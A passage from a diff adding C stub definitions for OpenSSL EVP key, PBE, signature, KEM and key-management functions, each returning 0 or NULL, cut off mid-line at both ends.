EVP_PKEY_print_public_fp(FILE * fp, const EVP_PKEY * pkey, int indent, ASN1_PCTX * pctx) { + return 0; +} + +int EVP_PKEY_print_private_fp(FILE * fp, const EVP_PKEY * pkey, int indent, ASN1_PCTX * pctx) { + return 0; +} + +int EVP_PKEY_print_params_fp(FILE * fp, const EVP_PKEY * pkey, int indent, ASN1_PCTX * pctx) { + return 0; +} + +int EVP_PKEY_get_default_digest_nid(EVP_PKEY * pkey, int * pnid) { + return 0; +} + +int EVP_PKEY_get_default_digest_name(EVP_PKEY * pkey, char * mdname, size_t mdname_sz) { + return 0; +} + +int EVP_PKEY_digestsign_supports_digest(EVP_PKEY * pkey, OSSL_LIB_CTX * libctx, const char * name, const char * propq) { + return 0; +} + +int EVP_PKEY_set1_encoded_public_key(EVP_PKEY * pkey, const unsigned char * pub, size_t publen) { + return 0; +} + +size_t EVP_PKEY_get1_encoded_public_key(EVP_PKEY * pkey, unsigned char ** ppub) { + return 0; +} + +int EVP_CIPHER_param_to_asn1(EVP_CIPHER_CTX * c, ASN1_TYPE * type) { + return 0; +} + +int EVP_CIPHER_asn1_to_param(EVP_CIPHER_CTX * c, ASN1_TYPE * type) { + return 0; +} + +int EVP_CIPHER_set_asn1_iv(EVP_CIPHER_CTX * c, ASN1_TYPE * type) { + return 0; +} + +int EVP_CIPHER_get_asn1_iv(EVP_CIPHER_CTX * c, ASN1_TYPE * type) { + return 0; +} + +int PKCS5_PBE_keyivgen(EVP_CIPHER_CTX * ctx, const char * pass, int passlen, ASN1_TYPE * param, const EVP_CIPHER * cipher, const EVP_MD * md, int en_de) { + return 0; +} + +int PKCS5_PBE_keyivgen_ex(EVP_CIPHER_CTX * cctx, const char * pass, int passlen, ASN1_TYPE * param, const EVP_CIPHER * cipher, const EVP_MD * md, int en_de, OSSL_LIB_CTX * libctx, const char * propq) { + return 0; +} + +int PKCS5_PBKDF2_HMAC_SHA1(const char * pass, int passlen, const unsigned char * salt, int saltlen, int iter, int keylen, unsigned char * out) { + return 0; +} + +int PKCS5_PBKDF2_HMAC(const char * pass, int passlen, const unsigned char * salt, int saltlen, int iter, const EVP_MD * digest, int keylen, unsigned char * out) { + return 0; +} + +int PKCS5_v2_PBE_keyivgen(EVP_CIPHER_CTX * ctx, const char * pass, int passlen, ASN1_TYPE * param, const EVP_CIPHER * cipher, const EVP_MD * md, int en_de) { + return 0; +} + +int PKCS5_v2_PBE_keyivgen_ex(EVP_CIPHER_CTX * ctx, const char * pass, int passlen, ASN1_TYPE * param, const EVP_CIPHER * cipher, const EVP_MD * md, int en_de, OSSL_LIB_CTX * libctx, const char * propq) { + return 0; +} + +int EVP_PBE_scrypt(const char * pass, size_t passlen, const unsigned char * salt, size_t saltlen, uint64_t N, uint64_t r, uint64_t p, uint64_t maxmem, unsigned char * key, size_t keylen) { + return 0; +} + +int EVP_PBE_scrypt_ex(const char * pass, size_t passlen, const unsigned char * salt, size_t saltlen, uint64_t N, uint64_t r, uint64_t p, uint64_t maxmem, unsigned char * key, size_t keylen, OSSL_LIB_CTX * ctx, const char * propq) { + return 0; +} + +int PKCS5_v2_scrypt_keyivgen(EVP_CIPHER_CTX * ctx, const char * pass, int passlen, ASN1_TYPE * param, const EVP_CIPHER * c, const EVP_MD * md, int en_de) { + return 0; +} + +int PKCS5_v2_scrypt_keyivgen_ex(EVP_CIPHER_CTX * ctx, const char * pass, int passlen, ASN1_TYPE * param, const EVP_CIPHER * c, const EVP_MD * md, int en_de, OSSL_LIB_CTX * libctx, const char * propq) { + return 0; +} + +void PKCS5_PBE_add(void) ; + + +int EVP_PBE_CipherInit(ASN1_OBJECT * pbe_obj, const char * pass, int passlen, ASN1_TYPE * param, EVP_CIPHER_CTX * ctx, int en_de) { + return 0; +} + +int EVP_PBE_CipherInit_ex(ASN1_OBJECT * pbe_obj, const char * pass, int passlen, ASN1_TYPE * param, EVP_CIPHER_CTX * ctx, int en_de, OSSL_LIB_CTX * libctx, const char * propq) { + return 0; +} + +int EVP_PBE_alg_add_type(int pbe_type, int pbe_nid, int cipher_nid, int md_nid, EVP_PBE_KEYGEN * keygen) { + return 0; +} + +int EVP_PBE_alg_add(int nid, const EVP_CIPHER * cipher, const EVP_MD * md, EVP_PBE_KEYGEN * keygen) { + return 0; +} + +int EVP_PBE_find(int type, int pbe_nid, int * pcnid, int * pmnid, EVP_PBE_KEYGEN ** pkeygen) { + return 0; +} + +int EVP_PBE_find_ex(int type, int pbe_nid, int * pcnid, int * pmnid, EVP_PBE_KEYGEN ** pkeygen, EVP_PBE_KEYGEN_EX ** pkeygen_ex) { + return 0; +} + +void EVP_PBE_cleanup(void) ; + + +int EVP_PBE_get(int * ptype, int * ppbe_nid, size_t num) { + return 0; +} + +int EVP_PKEY_asn1_get_count(void) { + return 0; +} + +const EVP_PKEY_ASN1_METHOD * EVP_PKEY_asn1_get0(int idx) { + return NULL; +} + +const EVP_PKEY_ASN1_METHOD * EVP_PKEY_asn1_find(ENGINE ** pe, int type) { + return NULL; +} + +const EVP_PKEY_ASN1_METHOD * EVP_PKEY_asn1_find_str(ENGINE ** pe, const char * str, int len) { + return NULL; +} + +int EVP_PKEY_asn1_add0(const EVP_PKEY_ASN1_METHOD * ameth) { + return 0; +} + +int EVP_PKEY_asn1_add_alias(int to, int from) { + return 0; +} + +int EVP_PKEY_asn1_get0_info(int * ppkey_id, int * pkey_base_id, int * ppkey_flags, const char ** pinfo, const char ** ppem_str, const EVP_PKEY_ASN1_METHOD * ameth) { + return 0; +} + +const EVP_PKEY_ASN1_METHOD * EVP_PKEY_get0_asn1(const EVP_PKEY * pkey) { + return NULL; +} + +EVP_PKEY_ASN1_METHOD * EVP_PKEY_asn1_new(int id, int flags, const char * pem_str, const char * info) { + return NULL; +} + +void EVP_PKEY_asn1_copy(EVP_PKEY_ASN1_METHOD * dst, const EVP_PKEY_ASN1_METHOD * src) ; + + +void EVP_PKEY_asn1_free(EVP_PKEY_ASN1_METHOD * ameth) ; + + +void EVP_PKEY_asn1_set_public(EVP_PKEY_ASN1_METHOD * ameth, int (*pub_decode)(EVP_PKEY *, const X509_PUBKEY *), int (*pub_encode)(X509_PUBKEY *, const EVP_PKEY *), int (*pub_cmp)(const EVP_PKEY *, const EVP_PKEY *), int (*pub_print)(BIO *, const EVP_PKEY *, int, ASN1_PCTX *), int (*pkey_size)(const EVP_PKEY *), int (*pkey_bits)(const EVP_PKEY *)) ; + + +void EVP_PKEY_asn1_set_private(EVP_PKEY_ASN1_METHOD * ameth, int (*priv_decode)(EVP_PKEY *, const PKCS8_PRIV_KEY_INFO *), int (*priv_encode)(PKCS8_PRIV_KEY_INFO *, const EVP_PKEY *), int (*priv_print)(BIO *, const EVP_PKEY *, int, ASN1_PCTX *)) ; + + +void EVP_PKEY_asn1_set_param(EVP_PKEY_ASN1_METHOD * ameth, int (*param_decode)(EVP_PKEY *, const unsigned char **, int), int (*param_encode)(const EVP_PKEY *, unsigned char **), int (*param_missing)(const EVP_PKEY *), int (*param_copy)(EVP_PKEY *, const EVP_PKEY *), int (*param_cmp)(const EVP_PKEY *, const EVP_PKEY *), int (*param_print)(BIO *, const EVP_PKEY *, int, ASN1_PCTX *)) ; + + +void EVP_PKEY_asn1_set_free(EVP_PKEY_ASN1_METHOD * ameth, void (*pkey_free)(EVP_PKEY *)) ; + + +void EVP_PKEY_asn1_set_ctrl(EVP_PKEY_ASN1_METHOD * ameth, int (*pkey_ctrl)(EVP_PKEY *, int, long, void *)) ; + + +void EVP_PKEY_asn1_set_item(EVP_PKEY_ASN1_METHOD * ameth, int (*item_verify)(EVP_MD_CTX *, const ASN1_ITEM *, const void *, const X509_ALGOR *, const ASN1_BIT_STRING *, EVP_PKEY *), int (*item_sign)(EVP_MD_CTX *, const ASN1_ITEM *, const void *, X509_ALGOR *, X509_ALGOR *, ASN1_BIT_STRING *)) ; + + +void EVP_PKEY_asn1_set_siginf(EVP_PKEY_ASN1_METHOD * ameth, int (*siginf_set)(X509_SIG_INFO *, const X509_ALGOR *, const ASN1_STRING *)) ; + + +void EVP_PKEY_asn1_set_check(EVP_PKEY_ASN1_METHOD * ameth, int (*pkey_check)(const EVP_PKEY *)) ; + + +void EVP_PKEY_asn1_set_public_check(EVP_PKEY_ASN1_METHOD * ameth, int (*pkey_pub_check)(const EVP_PKEY *)) ; + + +void EVP_PKEY_asn1_set_param_check(EVP_PKEY_ASN1_METHOD * ameth, int (*pkey_param_check)(const EVP_PKEY *)) ; + + +void EVP_PKEY_asn1_set_set_priv_key(EVP_PKEY_ASN1_METHOD * ameth, int (*set_priv_key)(EVP_PKEY *, const unsigned char *, size_t)) ; + + +void EVP_PKEY_asn1_set_set_pub_key(EVP_PKEY_ASN1_METHOD * ameth, int (*set_pub_key)(EVP_PKEY *, const unsigned char *, size_t)) ; + + +void EVP_PKEY_asn1_set_get_priv_key(EVP_PKEY_ASN1_METHOD * ameth, int (*get_priv_key)(const EVP_PKEY *, unsigned char *, size_t *)) ; + + +void EVP_PKEY_asn1_set_get_pub_key(EVP_PKEY_ASN1_METHOD * ameth, int (*get_pub_key)(const EVP_PKEY *, unsigned char *, size_t *)) ; + + +void EVP_PKEY_asn1_set_security_bits(EVP_PKEY_ASN1_METHOD * ameth, int (*pkey_security_bits)(const EVP_PKEY *)) ; + + +int EVP_PKEY_CTX_get_signature_md(EVP_PKEY_CTX * ctx, const EVP_MD ** md) { + return 0; +} + +int EVP_PKEY_CTX_set_signature_md(EVP_PKEY_CTX * ctx, const EVP_MD * md) { + return 0; +} + +int EVP_PKEY_CTX_set1_id(EVP_PKEY_CTX * ctx, const void * id, int len) { + return 0; +} + +int EVP_PKEY_CTX_get1_id(EVP_PKEY_CTX * ctx, void * id) { + return 0; +} + +int EVP_PKEY_CTX_get1_id_len(EVP_PKEY_CTX * ctx, size_t * id_len) { + return 0; +} + +int EVP_PKEY_CTX_set_kem_op(EVP_PKEY_CTX * ctx, const char * op) { + return 0; +} + +const char * EVP_PKEY_get0_type_name(const EVP_PKEY * key) { + return NULL; +} + +int EVP_PKEY_CTX_set_mac_key(EVP_PKEY_CTX * ctx, const unsigned char * key, int keylen) { + return 0; +} + +const EVP_PKEY_METHOD * EVP_PKEY_meth_find(int type) { + return NULL; +} + +EVP_PKEY_METHOD * EVP_PKEY_meth_new(int id, int flags) { + return NULL; +} + +void EVP_PKEY_meth_get0_info(int * ppkey_id, int * pflags, const EVP_PKEY_METHOD * meth) ; + + +void EVP_PKEY_meth_copy(EVP_PKEY_METHOD * dst, const EVP_PKEY_METHOD * src) ; + + +void EVP_PKEY_meth_free(EVP_PKEY_METHOD * pmeth) ; + + +int EVP_PKEY_meth_add0(const EVP_PKEY_METHOD * pmeth) { + return 0; +} + +int EVP_PKEY_meth_remove(const EVP_PKEY_METHOD * pmeth) { + return 0; +} + +size_t EVP_PKEY_meth_get_count(void) { + return 0; +} + +const EVP_PKEY_METHOD * EVP_PKEY_meth_get0(size_t idx) { + return NULL; +} + +EVP_KEYMGMT * EVP_KEYMGMT_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { + return NULL; +} + +int EVP_KEYMGMT_up_ref(EVP_KEYMGMT * keymgmt) { + return 0; +} + +void EVP_KEYMGMT_free(EVP_KEYMGMT * keymgmt) ; + + +const OSSL_PROVIDER * EVP_KEYMGMT_get0_provider(const EVP_KEYMGMT * keymgmt) { + return NULL; +} + +const char * EVP_KEYMGMT_get0_name(const EVP_KEYMGMT * keymgmt) { + return NULL; +} + +const char * EVP_KEYMGMT_get0_description(const EVP_KEYMGMT * keymgmt) { + return NULL; +} + +int EVP_KEYMGMT_is_a(const EVP_KEYMGMT * keymgmt, const char * name) { + return 0; +} + +void EVP_KEYMGMT_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_KEYMGMT *, void *), void * arg) ; + + +int EVP_KEYMGMT_names_do_all(const EVP_KEYMGMT * keymgmt, void (*fn)(const char *, void *), void * data) { + return 0; +} + +const OSSL_PARAM * EVP_KEYMGMT_gettable_params(const EVP_KEYMGMT * keymgmt) { + return NULL; +} + +const OSSL_PARAM * EVP_KEYMGMT_settable_params(const EVP_KEYMGMT * keymgmt) { + return NULL; +} + +const OSSL_PARAM * EVP_KEYMGMT_gen_settable_params(const EVP_KEYMGMT * keymgmt) { + return NULL; +} + +const OSSL_PARAM * EVP_KEYMGMT_gen_gettable_params(const EVP_KEYMGMT * keymgmt) { + return NULL; +} + +EVP_SKEYMGMT * EVP_SKEYMGMT_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { + return NULL; +} + +int EVP_SKEYMGMT_up_ref(EVP_SKEYMGMT * keymgmt) { + return 0; +} + +void EVP_SKEYMGMT_free(EVP_SKEYMGMT * keymgmt) ; + + +const OSSL_PROVIDER * EVP_SKEYMGMT_get0_provider(const EVP_SKEYMGMT * keymgmt) { + return NULL; +} + +const char * EVP_SKEYMGMT_get0_name(const EVP_SKEYMGMT * keymgmt) { + return NULL; +} + +const char * EVP_SKEYMGMT_get0_description(const EVP_SKEYMGMT * keymgmt) { + return NULL; +} + +int EVP_SKEYMGMT_is_a(const EVP_SKEYMGMT * keymgmt, const char * name) { + return 0; +} + +void EVP_SKEYMGMT_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_SKEYMGMT *, void *), void * arg) ; + + +int EVP_SKEYMGMT_names_do_all(const EVP_SKEYMGMT * keymgmt, void (*fn)(const char *, void *), void * data) { + return 0; +} + +const OSSL_PARAM * EVP_SKEYMGMT_get0_gen_settable_params(const EVP_SKEYMGMT * skeymgmt) { + return NULL; +} + +const OSSL_PARAM * EVP_SKEYMGMT_get0_imp_settable_params(const EVP_SKEYMGMT * skeymgmt) { + return NULL; +} + +EVP_PKEY_CTX * EVP_PKEY_CTX_new(EVP_PKEY * pkey, ENGINE * e) { + return NULL; +} + +EVP_PKEY_CTX * EVP_PKEY_CTX_new_id(int id, ENGINE * e) { + return NULL; +} + +EVP_PKEY_CTX * EVP_PKEY_CTX_new_from_name(OSSL_LIB_CTX * libctx, const char * name, const char * propquery) { + return NULL; +} + +EVP_PKEY_CTX * EVP_PKEY_CTX_new_from_pkey(OSSL_LIB_CTX * libctx, EVP_PKEY * pkey, const char * propquery) { + return NULL; +} + +EVP_PKEY_CTX * EVP_PKEY_CTX_dup(const EVP_PKEY_CTX * ctx) { + return NULL; +} + +void EVP_PKEY_CTX_free(EVP_PKEY_CTX * ctx) ; + + +int EVP_PKEY_CTX_is_a(EVP_PKEY_CTX * ctx, const char * keytype) { + return 0; +} + +int EVP_PKEY_CTX_get_params(EVP_PKEY_CTX * ctx, OSSL_PARAM * params) { + return 0; +} + +const OSSL_PARAM * EVP_PKEY_CTX_gettable_params(const EVP_PKEY_CTX * ctx) { + return NULL; +} + +int EVP_PKEY_CTX_set_params(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +const OSSL_PARAM * EVP_PKEY_CTX_settable_params(const EVP_PKEY_CTX * ctx) { + return NULL; +} + +int EVP_PKEY_CTX_set_algor_params(EVP_PKEY_CTX * ctx, const X509_ALGOR * alg) { + return 0; +} + +int EVP_PKEY_CTX_get_algor_params(EVP_PKEY_CTX * ctx, X509_ALGOR * alg) { + return 0; +} + +int EVP_PKEY_CTX_get_algor(EVP_PKEY_CTX * ctx, X509_ALGOR ** alg) { + return 0; +} + +int EVP_PKEY_CTX_ctrl(EVP_PKEY_CTX * ctx, int keytype, int optype, int cmd, int p1, void * p2) { + return 0; +} + +int EVP_PKEY_CTX_ctrl_str(EVP_PKEY_CTX * ctx, const char * type, const char * value) { + return 0; +} + +int EVP_PKEY_CTX_ctrl_uint64(EVP_PKEY_CTX * ctx, int keytype, int optype, int cmd, uint64_t value) { + return 0; +} + +int EVP_PKEY_CTX_str2ctrl(EVP_PKEY_CTX * ctx, int cmd, const char * str) { + return 0; +} + +int EVP_PKEY_CTX_hex2ctrl(EVP_PKEY_CTX * ctx, int cmd, const char * hex) { + return 0; +} + +int EVP_PKEY_CTX_md(EVP_PKEY_CTX * ctx, int optype, int cmd, const char * md) { + return 0; +} + +int EVP_PKEY_CTX_get_operation(EVP_PKEY_CTX * ctx) { + return 0; +} + +void EVP_PKEY_CTX_set0_keygen_info(EVP_PKEY_CTX * ctx, int * dat, int datlen) ; + + +EVP_PKEY * EVP_PKEY_new_mac_key(int type, ENGINE * e, const unsigned char * key, int keylen) { + return NULL; +} + +EVP_PKEY * EVP_PKEY_new_raw_private_key_ex(OSSL_LIB_CTX * libctx, const char * keytype, const char * propq, const unsigned char * priv, size_t len) { + return NULL; +} + +EVP_PKEY * EVP_PKEY_new_raw_private_key(int type, ENGINE * e, const unsigned char * priv, size_t len) { + return NULL; +} + +EVP_PKEY * EVP_PKEY_new_raw_public_key_ex(OSSL_LIB_CTX * libctx, const char * keytype, const char * propq, const unsigned char * pub, size_t len) { + return NULL; +} + +EVP_PKEY * EVP_PKEY_new_raw_public_key(int type, ENGINE * e, const unsigned char * pub, size_t len) { + return NULL; +} + +int EVP_PKEY_get_raw_private_key(const EVP_PKEY * pkey, unsigned char * priv, size_t * len) { + return 0; +} + +int EVP_PKEY_get_raw_public_key(const EVP_PKEY * pkey, unsigned char * pub, size_t * len) { + return 0; +} + +EVP_PKEY * EVP_PKEY_new_CMAC_key(ENGINE * e, const unsigned char * priv, size_t len, const EVP_CIPHER * cipher) { + return NULL; +} + +void EVP_PKEY_CTX_set_data(EVP_PKEY_CTX * ctx, void * data) ; + + +void * EVP_PKEY_CTX_get_data(const EVP_PKEY_CTX * ctx) { + return NULL; +} + +EVP_PKEY * EVP_PKEY_CTX_get0_pkey(EVP_PKEY_CTX * ctx) { + return NULL; +} + +EVP_PKEY * EVP_PKEY_CTX_get0_peerkey(EVP_PKEY_CTX * ctx) { + return NULL; +} + +void EVP_PKEY_CTX_set_app_data(EVP_PKEY_CTX * ctx, void * data) ; + + +void * EVP_PKEY_CTX_get_app_data(EVP_PKEY_CTX * ctx) { + return NULL; +} + +int EVP_PKEY_CTX_set_signature(EVP_PKEY_CTX * pctx, const unsigned char * sig, size_t siglen) { + return 0; +} + +void EVP_SIGNATURE_free(EVP_SIGNATURE * signature) ; + + +int EVP_SIGNATURE_up_ref(EVP_SIGNATURE * signature) { + return 0; +} + +OSSL_PROVIDER * EVP_SIGNATURE_get0_provider(const EVP_SIGNATURE * signature) { + return NULL; +} + +EVP_SIGNATURE * EVP_SIGNATURE_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { + return NULL; +} + +int EVP_SIGNATURE_is_a(const EVP_SIGNATURE * signature, const char * name) { + return 0; +} + +const char * EVP_SIGNATURE_get0_name(const EVP_SIGNATURE * signature) { + return NULL; +} + +const char * EVP_SIGNATURE_get0_description(const EVP_SIGNATURE * signature) { + return NULL; +} + +void EVP_SIGNATURE_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_SIGNATURE *, void *), void * data) ; + + +int EVP_SIGNATURE_names_do_all(const EVP_SIGNATURE * signature, void (*fn)(const char *, void *), void * data) { + return 0; +} + +const OSSL_PARAM * EVP_SIGNATURE_gettable_ctx_params(const EVP_SIGNATURE * sig) { + return NULL; +} + +const OSSL_PARAM * EVP_SIGNATURE_settable_ctx_params(const EVP_SIGNATURE * sig) { + return NULL; +} + +void EVP_ASYM_CIPHER_free(EVP_ASYM_CIPHER * cipher) ; + + +int EVP_ASYM_CIPHER_up_ref(EVP_ASYM_CIPHER * cipher) { + return 0; +} + +OSSL_PROVIDER * EVP_ASYM_CIPHER_get0_provider(const EVP_ASYM_CIPHER * cipher) { + return NULL; +} + +EVP_ASYM_CIPHER * EVP_ASYM_CIPHER_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { + return NULL; +} + +int EVP_ASYM_CIPHER_is_a(const EVP_ASYM_CIPHER * cipher, const char * name) { + return 0; +} + +const char * EVP_ASYM_CIPHER_get0_name(const EVP_ASYM_CIPHER * cipher) { + return NULL; +} + +const char * EVP_ASYM_CIPHER_get0_description(const EVP_ASYM_CIPHER * cipher) { + return NULL; +} + +void EVP_ASYM_CIPHER_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_ASYM_CIPHER *, void *), void * arg) ; + + +int EVP_ASYM_CIPHER_names_do_all(const EVP_ASYM_CIPHER * cipher, void (*fn)(const char *, void *), void * data) { + return 0; +} + +const OSSL_PARAM * EVP_ASYM_CIPHER_gettable_ctx_params(const EVP_ASYM_CIPHER * ciph) { + return NULL; +} + +const OSSL_PARAM * EVP_ASYM_CIPHER_settable_ctx_params(const EVP_ASYM_CIPHER * ciph) { + return NULL; +} + +void EVP_KEM_free(EVP_KEM * wrap) ; + + +int EVP_KEM_up_ref(EVP_KEM * wrap) { + return 0; +} + +OSSL_PROVIDER * EVP_KEM_get0_provider(const EVP_KEM * wrap) { + return NULL; +} + +EVP_KEM * EVP_KEM_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { + return NULL; +} + +int EVP_KEM_is_a(const EVP_KEM * wrap, const char * name) { + return 0; +} + +const char * EVP_KEM_get0_name(const EVP_KEM * wrap) { + return NULL; +} + +const char * EVP_KEM_get0_description(const EVP_KEM * wrap) { + return NULL; +} + +void EVP_KEM_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_KEM *, void *), void * arg) ; + + +int EVP_KEM_names_do_all(const EVP_KEM * wrap, void (*fn)(const char *, void *), void * data) { + return 0; +} + +const OSSL_PARAM * EVP_KEM_gettable_ctx_params(const EVP_KEM * kem) { + return NULL; +} + +const OSSL_PARAM * EVP_KEM_settable_ctx_params(const EVP_KEM * kem) { + return NULL; +} + +int EVP_PKEY_sign_init(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_sign_init_ex(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_sign_init_ex2(EVP_PKEY_CTX * ctx, EVP_SIGNATURE * algo, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_sign(EVP_PKEY_CTX * ctx, unsigned char * sig, size_t * siglen, const unsigned char * tbs, size_t tbslen) { + return 0; +} + +int EVP_PKEY_sign_message_init(EVP_PKEY_CTX * ctx, EVP_SIGNATURE * algo, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_sign_message_update(EVP_PKEY_CTX * ctx, const unsigned char * in, size_t inlen) { + return 0; +} + +int EVP_PKEY_sign_message_final(EVP_PKEY_CTX * ctx, unsigned char * sig, size_t * siglen) { + return 0; +} + +int EVP_PKEY_verify_init(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_verify_init_ex(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_verify_init_ex2(EVP_PKEY_CTX * ctx, EVP_SIGNATURE * algo, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_verify(EVP_PKEY_CTX * ctx, const unsigned char * sig, size_t siglen, const unsigned char * tbs, size_t tbslen) { + return 0; +} + +int EVP_PKEY_verify_message_init(EVP_PKEY_CTX * ctx, EVP_SIGNATURE * algo, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_verify_message_update(EVP_PKEY_CTX * ctx, const unsigned char * in, size_t inlen) { + return 0; +} + +int EVP_PKEY_verify_message_final(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_verify_recover_init(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_verify_recover_init_ex(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_verify_recover_init_ex2(EVP_PKEY_CTX * ctx, EVP_SIGNATURE * algo, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_verify_recover(EVP_PKEY_CTX * ctx, unsigned char * rout, size_t * routlen, const unsigned char * sig, size_t siglen) { + return 0; +} + +int EVP_PKEY_encrypt_init(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_encrypt_init_ex(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_encrypt(EVP_PKEY_CTX * ctx, unsigned char * out, size_t * outlen, const unsigned char * in, size_t inlen) { + return 0; +} + +int EVP_PKEY_decrypt_init(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_decrypt_init_ex(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_decrypt(EVP_PKEY_CTX * ctx, unsigned char * out, size_t * outlen, const unsigned char * in, size_t inlen) { + return 0; +} + +int EVP_PKEY_derive_init(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_derive_init_ex(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_derive_set_peer_ex(EVP_PKEY_CTX * ctx, EVP_PKEY * peer, int validate_peer) { + return 0; +} + +int EVP_PKEY_derive_set_peer(EVP_PKEY_CTX * ctx, EVP_PKEY * peer) { + return 0; +} + +int EVP_PKEY_derive(EVP_PKEY_CTX * ctx, unsigned char * key, size_t * keylen) { + return 0; +} + +int EVP_PKEY_encapsulate_init(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_auth_encapsulate_init(EVP_PKEY_CTX * ctx, EVP_PKEY * authpriv, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_encapsulate(EVP_PKEY_CTX * ctx, unsigned char * wrappedkey, size_t * wrappedkeylen, unsigned char * genkey, size_t * genkeylen) { + return 0; +} + +int EVP_PKEY_decapsulate_init(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_auth_decapsulate_init(EVP_PKEY_CTX * ctx, EVP_PKEY * authpub, const OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_decapsulate(EVP_PKEY_CTX * ctx, unsigned char * unwrapped, size_t * unwrappedlen, const unsigned char * wrapped, size_t wrappedlen) { + return 0; +} + +int EVP_PKEY_fromdata_init(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_fromdata(EVP_PKEY_CTX * ctx, EVP_PKEY ** ppkey, int selection, OSSL_PARAM * param) { + return 0; +} + +const OSSL_PARAM * EVP_PKEY_fromdata_settable(EVP_PKEY_CTX * ctx, int selection) { + return NULL; +} + +int EVP_PKEY_todata(const EVP_PKEY * pkey, int selection, OSSL_PARAM ** params) { + return 0; +} + +int EVP_PKEY_export(const EVP_PKEY * pkey, int selection, OSSL_CALLBACK * export_cb, void * export_cbarg) { + return 0; +} + +const OSSL_PARAM * EVP_PKEY_gettable_params(const EVP_PKEY * pkey) { + return NULL; +} + +int EVP_PKEY_get_params(const EVP_PKEY * pkey, OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_get_int_param(const EVP_PKEY * pkey, const char * key_name, int * out) { + return 0; +} + +int EVP_PKEY_get_size_t_param(const EVP_PKEY * pkey, const char * key_name, size_t * out) { + return 0; +} + +int EVP_PKEY_get_bn_param(const EVP_PKEY * pkey, const char * key_name, BIGNUM ** bn) { + return 0; +} + +int EVP_PKEY_get_utf8_string_param(const EVP_PKEY * pkey, const char * key_name, char * str, size_t max_buf_sz, size_t * out_sz) { + return 0; +} + +int EVP_PKEY_get_octet_string_param(const EVP_PKEY * pkey, const char * key_name, unsigned char * buf, size_t max_buf_sz, size_t * out_sz) { + return 0; +} + +const OSSL_PARAM * EVP_PKEY_settable_params(const EVP_PKEY * pkey) { + return NULL; +} + +int EVP_PKEY_set_params(EVP_PKEY * pkey, OSSL_PARAM * params) { + return 0; +} + +int EVP_PKEY_set_int_param(EVP_PKEY * pkey, const char * key_name, int in) { + return 0; +} + +int EVP_PKEY_set_size_t_param(EVP_PKEY * pkey, const char * key_name, size_t in) { + return 0; +} + +int EVP_PKEY_set_bn_param(EVP_PKEY * pkey, const char * key_name, const BIGNUM * bn) { + return 0; +} + +int EVP_PKEY_set_utf8_string_param(EVP_PKEY * pkey, const char * key_name, const char * str) { + return 0; +} + +int EVP_PKEY_set_octet_string_param(EVP_PKEY * pkey, const char * key_name, const unsigned char * buf, size_t bsize) { + return 0; +} + +int EVP_PKEY_get_ec_point_conv_form(const EVP_PKEY * pkey) { + return 0; +} + +int EVP_PKEY_get_field_type(const EVP_PKEY * pkey) { + return 0; +} + +EVP_PKEY * EVP_PKEY_Q_keygen(OSSL_LIB_CTX * libctx, const char * propq, const char * type, ...) { + return NULL; +} + +int EVP_PKEY_paramgen_init(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_paramgen(EVP_PKEY_CTX * ctx, EVP_PKEY ** ppkey) { + return 0; +} + +int EVP_PKEY_keygen_init(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_keygen(EVP_PKEY_CTX * ctx, EVP_PKEY ** ppkey) { + return 0; +} + +int EVP_PKEY_generate(EVP_PKEY_CTX * ctx, EVP_PKEY ** ppkey) { + return 0; +} + +int EVP_PKEY_check(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_public_check(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_public_check_quick(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_param_check(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_param_check_quick(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_private_check(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_pairwise_check(EVP_PKEY_CTX * ctx) { + return 0; +} + +int EVP_PKEY_set_ex_data(EVP_PKEY * key, int idx, void * arg) { + return 0; +} + +void * 